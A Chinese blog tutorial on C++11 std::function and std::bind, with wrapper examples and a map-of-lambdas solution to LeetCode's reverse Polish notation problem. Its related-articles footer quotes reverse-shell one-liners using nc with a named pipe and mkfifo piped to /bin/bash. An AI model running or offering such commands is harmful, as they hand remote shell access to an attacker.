【C++】C++11 包装器

news2024/11/6 7:34:13

👀樊梓慕:个人主页

 🎥个人专栏:《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C++》《Linux》《算法》

🌝每一个不曾起舞的日子,都是对生命的辜负


目录

前言

function包装器

function包装器概述

function包装器使用

function包装器的实际应用

bind包装器

bind包装器概述

bind包装器使用


前言

我们目前学习过的可调用对象有三种:函数指针、仿函数以及lambda表达式(实际上也是仿函数),但是这三种可调用对象却又有各自的缺点,比如函数指针类型写起来比较复杂,仿函数的类型不统一,而lambda表达式语法层上就没有类型,所以C++11引入了包装器,主要就是为了封装他们,统一类型。


欢迎大家📂收藏📂以便未来做题时可以快速找到思路,巧妙的方法可以事半功倍。 

=========================================================================

GITEE相关代码:🌟樊飞 (fanfei_c) - Gitee.com🌟

=========================================================================


function包装器

function包装器概述

包装器就是对可调用对象的再封装,C++中的function本质上就是一个 『 类模板』。

function类模板的原型如下:

template <class T> function;
template <class Ret, class... Args>
class function<Ret(Args...)>;

其中Ret是被包装的可调用对象的返回类型,而Args则是被包装的可调用对象的形参类型。

function引入的目的就是为了统一三种可调用对象的类型。

那么我们如何进行包装呢?

function包装器使用

//普通函数
int f(int a, int b)
{
	return a + b;
}

//仿函数对象
struct Functor
{
public:
    //仿函数
	int operator()(int a, int b)
	{
		return a + b;
	}
};
class Plus
{
public:
    //类的静态成员函数
	static int plusi(int a, int b)
	{
		return a + b;
	}
    //类的非静态成员函数
	double plusd(double a, double b)
	{
		return a + b;
	}
};
int main()
{
	//1、包装函数指针(函数名)
	function<int(int, int)> func1 = f;
	cout << func1(1, 2) << endl;

	//2、包装仿函数(函数对象)
	function<int(int, int)> func2 = Functor();
	cout << func2(1, 2) << endl;

	//3、包装lambda表达式
	function<int(int, int)> func3 = [](int a, int b){return a + b; };
	cout << func3(1, 2) << endl;

	//4、类的静态成员函数
	//function<int(int, int)> func4 = Plus::plusi;
	function<int(int, int)> func4 = &Plus::plusi; //&可省略
	cout << func4(1, 2) << endl;

	//5、类的非静态成员函数
	function<double(Plus, double, double)> func5 = &Plus::plusd; //&不可省略
	cout << func5(Plus(), 1.1, 2.2) << endl;
	return 0;
}

注意:

  • 包装时按照function包装器的原型套就行,返回值类型与参数类型按照定义依次替换即可;
  • 取静态成员函数的地址可以不用取地址运算符“&”,但取非静态成员函数的地址必须使用取地址运算符“&”。

另外,因为类的非静态成员函数实际上还有一个隐藏的参数*this,所以再最后书写参数类型时,要将类的类型写在前面,并且传入匿名对象即可。


function包装器的实际应用

150. 逆波兰表达式求值 - 力扣(LeetCode)icon-default.png?t=N7T8https://leetcode.cn/problems/evaluate-reverse-polish-notation/description/

给你一个字符串数组 tokens ,表示一个根据 逆波兰表示法 表示的算术表达式。

请你计算该表达式。返回一个表示表达式值的整数。

注意:

  • 有效的算符为 '+''-''*' 和 '/' 。
  • 每个操作数(运算对象)都可以是一个整数或者另一个表达式。
  • 两个整数之间的除法总是 向零截断 。
  • 表达式中不含除零运算。
  • 输入是一个根据逆波兰表示法表示的算术表达式。
  • 答案及所有中间计算结果可以用 32 位 整数表示。

解题思路:

  • 定义一个栈,依次遍历所给字符串。
  • 如果遍历到的字符串是数字则直接入栈。
  • 如果遍历到的字符串是加减乘除运算符,则从栈定抛出两个数字进行对应的运算,并将运算后得到的结果压入栈中。
  • 所给字符串遍历完毕后,栈顶的数字就是逆波兰表达式的计算结果。

当时,我们是这样写的:

class Solution {
public:
    int evalRPN(vector<string>& tokens) {
        stack<int> s;
        int sum=0;
        for(int i=0;i<tokens.size();i++)
        {
            if(!(tokens[i]=="+" || tokens[i]=="-" || tokens[i]=="*" || tokens[i]=="/"))
            {
                s.push(atoi(tokens[i].c_str()));
            }
            else
            {
                int right=s.top();
                s.pop();
                int left=s.top();
                s.pop();
                switch(tokens[i][0])
                {
                    case '+':
                        s.push(left+right);
                        break;  
                    case '-':
                        s.push(left-right);
                        break;  
                    case '*':
                        s.push(left*right);
                        break;
                    case '/':
                        s.push(left/right);
                        break;
                }
            }
        }
        return s.top();
    }
};

 那现在我们学习了很多C++的新容器新内容,我们可以写出一份更加漂亮的代码出来。

我们可以利用map容器和function包装器对以上代码做优化。

map容器存储的是键值对,那么我们就可以将操作符字符串作为键,将具体要执行的操作作为值,那这样我们利用map的[]操作符就可以得到当前要进行什么操作了。

我们可以采用很多种方式将可调用对象赋给map的值,这里我们使用lambda表达式,你当然也可以使用函数指针、仿函数等,但明显这里使用lambda表达式更加方便。

但是lambda表达式没有类型,所以我们就可以使用包装器将lambda表达式包装成function包装器,统一了类型。

class Solution {
public:
	int evalRPN(vector<string>& tokens) {
		stack<int> st;
		unordered_map<string, function<int(int, int)>> opMap = {
			{ "+", [](int a, int b){return a + b; } },
			{ "-", [](int a, int b){return a - b; } },
			{ "*", [](int a, int b){return a * b; } },
			{ "/", [](int a, int b){return a / b; } }
		};
		for (const auto& str : tokens)
		{
			int left, right;
			if (str == "+" || str == "-" || str == "*" || str == "/")
			{
				right = st.top();
				st.pop();
				left = st.top();
				st.pop();
				st.push(opMap[str](left, right));
			}
			else
			{
				st.push(stoi(str));
			}
		}
		return st.top();
	}
};

从这里,我们就可以看出来包装器function的意义:

  • 将可调用对象的类型进行统一,便于我们对其进行管理。
  • 包装后明确了可调用对象的返回值和形参类型,更加方便使用者使用。

bind包装器

bind包装器概述

bind包装器有以下两种作用:

  • 调整参数的顺序(价值不大);
  • 调整参数的个数;

bind函数模板的原型如下:

template <class Fn, class... Args>
/* unspecified */ bind(Fn&& fn, Args&&... args);
template <class Ret, class Fn, class... Args>
/* unspecified */ bind(Fn&& fn, Args&&... args);

 其中fn是可调用对象,args...是要绑定的参数列表。


bind包装器使用

调用bind的一般形式为:auto newCallable = bind(callable, arg_list);

其中:

  • newCallable 为 新的可调用对象;
  • callable 为 被包装的可调用对象;
  • arg_list 为 被绑定的参数列表,一般为固定写法,比如placeholders::_1代表第一个参数,placeholders::_2代表第二个参数。

那我们上面说的调整参数的顺序就可以通过修改这个参数列表中的数据来实现了。

比如:

int Sub(int a, int b)
{
	return a - b;
}
int main()
{
    //调整参数顺序
	auto f1 = bind(Sub, placeholders::_2, placeholders::_1);
	cout << f1(x, y) << endl;

	return 0;
}

因为『 placeholders::_1』代表的就是第一个参数的位置,所以他与『 placeholders::_2』位置进行交换,就意味着封装后的f1对象,参数位置发生了改变。

那调整参数个数呢?

比如,由于非静态成员函数参数有一个隐藏的this指针,那么我们不想每次都要把它传进去,我们就可以利用bind包装一个新的函数对象出来:

class Plus
{
public:
	static int plusi(int a, int b)
	{
		return a + b;
	}

	double plusd(double a, double b)
	{
		return a - b;
	}
};
int main()
{
    //调整参数顺序
    //某些参数绑死
	function<double(double, double)> fc4 = bind(
        &Plus::plusd
        ,Plus()
        ,placeholders::_1
        ,placeholders::_2
    );
	cout << fc4(2, 3) << endl;
    //这样我们使用fc4时就传递两个参数就可以了,就不需要再每次将隐藏的this也传递了

    function<double(double)> fc5 = bind(
        &Plus::plusd
        ,Plus()
        ,placeholders::_1
        ,20
    );
	cout << fc5(2) << endl;
    //fc5绑死了两个参数
	return 0;
}

以上这种绑死某个参数的做法可以用于比如这个参数很固定是某个值,我们就可以采用这种方法。

那么bind包装器的意义我们总结如下:

  • 当一个函数的某些参数为固定的值时,我们可以使用bind包装器绑死某个参数。
  • bind包装器可以对函数参数的顺序进行灵活调整。

=========================================================================

如果你对该系列文章有兴趣的话,欢迎持续关注博主动态,博主会持续输出优质内容

🍎博主很需要大家的支持,你的支持是我创作的不竭动力🍎

🌟~ 点赞收藏+关注 ~🌟

=========================================================================

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1613993.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大模型接口管理和分发系统One API

老苏就职于一家专注于音视频实时交互技术和智能算法的创新企业。公司通过提供全面的 SDK 和解决方案&#xff0c;助力用户轻松实现实时音视频通话和消息传递等功能。尽管公司网站上有详细的文档中心&#xff0c;但在实际开发中&#xff0c;仍面临大量咨询工作。 鉴于此&#x…

单页面首屏优化,打包后大小减少64M,加载速度快了13.6秒

需求背景 从第三方采购的vue2 ElementUI实现的云管平台&#xff0c;乙方说2011年左右就开始有这个项目了&#xff08;那时候有Vue了吗&#xff0c;思考.jpg&#xff09;。十几年的项目&#xff0c;我何德何能可以担此责任。里面的代码经过多人多年迭代可以用惨不忍睹来形容&a…

大模型培训老师叶梓:通过微调提升小型语言模型的复杂推理能力

在人工智能的快速发展中&#xff0c;复杂推理能力的提升一直是研究者们追求的目标。最近&#xff0c;一项发表在arXiv上的研究成果【1】&#xff0c;提出了一种创新的方法&#xff0c;即通过微调小型语言模型&#xff08;LMs&#xff09;&#xff0c;并将其与大型语言模型&…

内旋风铣也挺有意思,不够还没搞透

内旋风铣&#xff0c;这一术语在机械制造业中并不陌生&#xff0c;它代表着一种高效且精确的加工方法。这一技术的名称“内旋风铣”便揭示了其两大核心特点&#xff1a;一是“内”&#xff0c;指的是在工件内部进行加工&#xff0c;通常涉及到难以触及的复杂曲面&#xff1b;二…

C语言趣味代码(二)

1.珠玑妙算 1.1 介绍 《珠玑妙算》(Mastermind)是英国Invicta公司于1973年开始销售的一款益智游戏&#xff0c;据说迄今为止已经在全世界销售了5000万套。《珠玑妙算》于1974年获奖后&#xff0c;在1975年传入美国&#xff0c;1976年leslieH.Autl博士甚至还出版了一本名为The…

C++笔试强训day4

目录 1.游游的you 2.腐烂的苹果 3.孩子们的游戏 1.游游的you 链接&#xff1a; 分析题意之后&#xff0c;发现就是一道简单的贪心&#xff0c;当然也可以把他看作纯数学题。 因为you和oo里面都有o&#xff0c;但是you可以得两分&#xff0c;所以贪心策略尽可能的去凑更多的…

千锤百炼之算法Scanner和System.out引起超时解决办法

题外话 觉得这个内容还是很关键的,过来写一下吧 本次内容有点抽象大家试着听一下 正题 做过算法题的人都知道,无论是在力扣还是牛客或者别的网站刷题,很多情况下都会遇到输入输出的情况,当我们用Scanner和System.out.print()就有可能产生超时问题 如下图 接下来会有一段代…

王者荣耀防御塔如何开发!新手小白做游戏开发采坑经过。phaser前端游戏框架

好嘞&#xff0c;游戏开发框架是js 开发的网页小游戏&#xff01; phaser这个框架。好我们先上图&#xff01; 目前大概是这么一个样子。 然后防御塔功能呢。简单的说就是当人物进去的时候打他。人物扣血。 我们的小人物是这样的代码 遇到的问题如下&#xff1b; 小白刚开始…

Qt/C++音视频开发70-无感切换通道/无缝切换播放视频/多通道流畅切换/不同视频打开无缝切换

一、前言 之前就写过这个方案&#xff0c;当时做的是ffmpeg内核版本&#xff0c;由于ffmpeg内核解析都是代码实现&#xff0c;所以无缝切换非常完美&#xff0c;看不到丝毫的中间切换过程&#xff0c;看起来就像是在一个通道画面中。其实这种切换只能说是取巧办法&#xff0c;…

计算机经典黑皮书分享

计算机经典黑皮书是一套计算机科学丛书&#xff0c;其中包含了多本计算机科学领域的经典教材 提供了全面的知识体系&#xff1a;黑皮书涵盖了计算机科学的多个领域&#xff0c;如计算机组成与设计、操作系统、数据库、人工智能等。它们深入浅出地介绍了相关领域的基本概念、原…

免费听音乐,下载音乐mp3,mp4,歌词的网站分享(2024-04-22)

亲测&#xff01;&#xff01;&#xff01; 1、音乐客 免费听和免费下载 经典老歌 - 音乐客音乐客,yinyueke.net,免费音乐,免费在线音乐播放器,免费下载音乐,音乐&#xff0c;播放器&#xff0c;下载&#xff0c;播放&#xff0c;DJ&#xff0c;免费,mp3,高音质&#xff0c;…

07 文件-IO流字节流

File File类的使用 File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名&#xff0c;这个路径可以存在&#xff0c;也可以不存在 创建File类的对象 构造器说明public File(String pathname)根据文件路径创建文件对象public File(String parent, Strin…

短信验证码绕过漏洞(一)

短信验证码绕过漏洞 0x01原理&#xff1a; 服务器端返回的相关参数作为最终登录凭证&#xff0c;导致可绕过登录限制。 危害&#xff1a;在相关业务中危害也不同&#xff0c;如找回密码&#xff0c;注册&#xff0c;电话换绑等地方即可形成高危漏洞&#xff0c;如果是一些普…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

【Go语言快速上手(三)】数组, 切片与映射

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Go语言专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; GO快速上手 1. 前言2. 数组详解3. 切…

如何在本地创建一个新的Git仓库?

文章目录 **步骤一&#xff1a;开启项目之旅****步骤二&#xff1a;启动Git引擎****步骤三&#xff1a;验证仓库初始化情况****步骤四&#xff1a;填充项目内容****步骤五&#xff1a;保存更改——初次提交****&#xff08;可选步骤六&#xff1a;关联远程仓库并推送&#xff0…

双链表实现,增 删 改 查(基础详细版)

0.在开始之前建议先跟着思路&#xff0c;走一遍&#xff0c;调试部分我就不放了主要写的是实现思路。当然最后也会把源码附上。 1. 带头双向循环链表(简称&#xff1a;双向链表) 双向循环带头链表: 红色的指向正的 最后一个节点指向头结点绿色的指向反的 从最后一个开始遍历&a…

Rust-01 Hello Rust 10分钟上手编写第一个Rust程序 背景介绍 发展历史 环境配置 升级打怪的必经之路

背景介绍 Rust 是一种多范式、通用的编程语言&#xff0c;强调性能、类型安全和并发性。它通过一个称为“借用检查器”的机制在编译时追踪所有引用的对象生命周期&#xff0c;以强制实现内存安全&#xff0c;即确保所有引用都指向有效的内存&#xff0c;而不需要垃圾收集器。 …

浏览器工作原理与实践--性能分析工具:如何分析Performance中的Main指标

节我们介绍了如何使用Performance&#xff0c;而且我们还提到了性能指标面板中的Main指标&#xff0c;它详细地记录了渲染主线程上的任务执行记录&#xff0c;通过分析Main指标&#xff0c;我们就能够定位到页面中所存在的性能问题&#xff0c;本节&#xff0c;我们就来介绍如何…

如何修改支付宝号?日赚300+,纯撸信息差!

最近更新的内容中&#xff0c;很多都是给大家讲到的“信息差”。但是&#xff0c;真正能理解信息差&#xff0c;并且使用信息差赚钱的&#xff0c;有多少&#xff1f; 包括前几天给朋友们分享的软件项目&#xff0c;靠信息差月入3万&#xff0c;直接复制粘贴搞定&#xff01;和…